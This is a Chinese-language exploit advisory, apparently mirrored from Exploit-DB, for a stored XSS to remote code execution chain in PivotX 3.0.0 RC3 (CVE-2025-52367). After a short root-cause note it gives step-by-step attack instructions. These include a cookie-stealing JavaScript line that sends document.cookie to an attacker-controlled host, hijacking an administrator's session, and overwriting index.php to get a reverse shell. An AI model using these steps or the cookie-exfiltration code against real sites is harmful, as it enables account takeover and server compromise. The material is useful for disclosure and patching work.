https://sploitus.com/exploit?id=EDB-ID:52361
漏洞标题:PivotX v3.0.0 RC3 - 存储型XSS到远程代码执行(RCE)
日期:2025年7月
漏洞作者:HayToN
厂商主页:https://github.com/pivotx
软件链接:https://github.com/pivotx/PivotX
版本:3.0.0 RC3
测试环境:Debian 11, PHP 7.4
CVE:CVE-2025-52367
漏洞类型:
页面创建的"title"和"subtitle"字段中存在存储型跨站脚本(XSS)漏洞。输入内容未经清理,直接通过PHP serialize()函数存储到磁盘。
根本原因:
在’modules/pages_flat.php’中,函数’savePage($page)‘通过’saveSerialize()‘存储页面数据时未进行任何清理。存储的值随后在管理面板中渲染时未进行转义。
只有’body’和’introduction’字段会经过TinyMCE处理(会对HTML进行编码)。’title’和’subtitle’字段会以原始HTML形式渲染。
注意:如果您已经是管理员,请跳过步骤1-7
利用步骤:
-
以认证用户身份登录(普通用户,无需管理员权限)
-
通过仪表板创建新页面,地址为:http://IP/PivotX/pivotx/index.php?page=page
-
本地创建一个包含cookie窃取代码的JavaScript文件。 例如:lol.js 包含内容: document.location = ‘http://LOCAL_IP/bruh?c=’ + document.cookie;
-
在"Subtitle"字段中输入以下payload(请确保更改文件名为您自己的):
-
发布页面
-
当管理员在博客中查看已发布的页面时,XSS将在管理员上下文中执行
-
利用此XSS发送payload窃取管理员cookie,然后将cookie插入到您的站点
-
以管理员身份导航到http://IP/PivotX/pivotx/index.php?page=homeexplore,在此可以编辑index.php文件
-
将index.php文件编辑为您想要在目标上获得RCE的任何php文件,可以使用反向shell或其他方法
-
访问http://IP/PivotX/index.php,您应该会获得一个反向shell :)